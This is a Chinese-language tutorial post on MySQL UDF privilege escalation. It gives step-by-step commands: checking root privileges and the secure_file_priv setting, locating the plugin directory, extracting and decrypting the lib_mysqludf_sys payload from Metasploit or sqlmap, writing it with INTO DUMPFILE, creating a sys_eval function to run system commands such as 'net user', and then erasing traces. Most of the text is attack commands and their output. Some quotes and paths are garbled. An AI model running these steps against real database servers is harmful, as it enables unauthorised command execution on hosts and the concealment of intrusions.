mysql之udf提权

2023-04-21 16:02:23 浏览数 (1)

mysql之udf提权

前言

UDF简介

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数如 user() 一样。

加载udf,示例中文件末为.so,则为linux系统,如果是win,则后缀为dll

代码语言:javascript复制
CREATE FUNCTION metaphon
  RETURNS STRING
  SONAME 'udf_example.so';

查看存在的udf

代码语言:javascript复制
SELECT * FROM mysql.func;

删除udf

代码语言:javascript复制
DROP FUNCTION metaphon;

提权思路(一)

When

在无web脚本执行权限,但是有mysql root执行的环境下,我们就可以通过into dumpfile函数导入udf.dll进行提权。有web脚本执行权限时,也可以直接上传udf提权脚本,快速搞定。

总结一下就是需要有mysql的root权限,就可以尝试使用UDF提权

这个第一个思路是针对没有web脚本执行的情况下进行的提权

若不确定是否是root权限可以使用命令查看一下

代码语言:javascript复制
select * from mysql.user where user = substring_index(user(), '@', 1)G;

What

数据库相关信息

既然使用dumpfile那么secure_file_priv肯定要设置为空的

注意:secure_file_priv的值为NULL或者是存在值是不能利用UDF提权的,只有空值才行

mysql配置文件中改即可

代码语言:javascript复制
mysql> show variables like '%secure%';   //查看可导出文件位置
 ------------------ ------- 
| Variable_name    | Value |
 ------------------ ------- 
| secure_auth      | OFF   |
| secure_file_priv |       |
 ------------------ ------- 
2 rows in set (0.00 sec)

确认mysql安装位置

代码语言:javascript复制
select @@basedir as basePath from dual ;

show variables like '�sedir%';

检查系统构架及plugin目录,通过主机版本及架构确认mysql位数来选用udf文件

代码语言:javascript复制
mysql> show variables like ’%compile%‘;
 --------------------------- ---------------------------------------- 
| Variable_name             | AMD64                                  |
 --------------------------- ---------------------------------------- 
| version_compile_machine   | AMD64                                  |
 --------------------------- ---------------------------------------- 
| version_compile_os        | Win32                                  |
 --------------------------- ---------------------------------------- 
1 row in set (0.00 sec)
代码语言:javascript复制
show variables like "%plugin%";
 --------------- ---------------------------------------- 
| Variable_name | Value                                  |
 --------------- ---------------------------------------- 
| plugin_dir    |C:phpStudyMySQLlibplugin           |
 --------------- ---------------------------------------- 

提权payload

提权payload在kali中的msf中就有

/usr/share/metasploit-framework/data/exploits/mysql

sqlmap里面也有

sqlmapdataudfmysql sqlmap自身UDF文件进行异或加密了,使用sqlmap解密一下再使用 python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

010editor打开后另存为十六进制文件,然后去掉空格,去掉换行,生成payload

将生成的payload写入到plugin目录下

代码语言:javascript复制
select ‘payload’ into dumpfile 'D:/Programs/PHPStudy/MySQL/lib/plugin/udf.dll';

查看数据库版本,判断udf文件写入位置

代码语言:javascript复制
select version();

注意:mysql自身版本特性,我们将payload是要放在mysql的检索目录中,但是由于版本特性不同,目录也有所不同

代码语言:javascript复制
1、 Mysql < 5.0
导出路径随意。

2、 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll

其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

3、 Mysql >= 5.1
Mysql安装目录的libplugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下libplugin目录大概率是不存在的,需要自行创建。

##有web脚本执行权限的时候,可以直接上传该UDF文件,没有执行权限就提取十六进制这个方法

调用此提权UDF

代码语言:javascript复制
mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

此时再去查看存在的UDF就能看到自己上传的这个UDF了

代码语言:javascript复制
select * from mysql.func;
select sys_eval(‘net user’);

至此就完成了UDF提权

痕迹清除

删除表

代码语言:javascript复制
drop table udf;

删除函数

代码语言:javascript复制
drop function sys_eval;

补充

UDF提权一般仅适用于windows系统,linux系统由于自身对plugin目录严格的写入权限,很难利用

参考博客链接:(96条消息) 20210415web渗透学习之Mysqludf提权(二)(胃肠炎住院期间转)_热热的雨夜的博客-CSDN博客

0 人点赞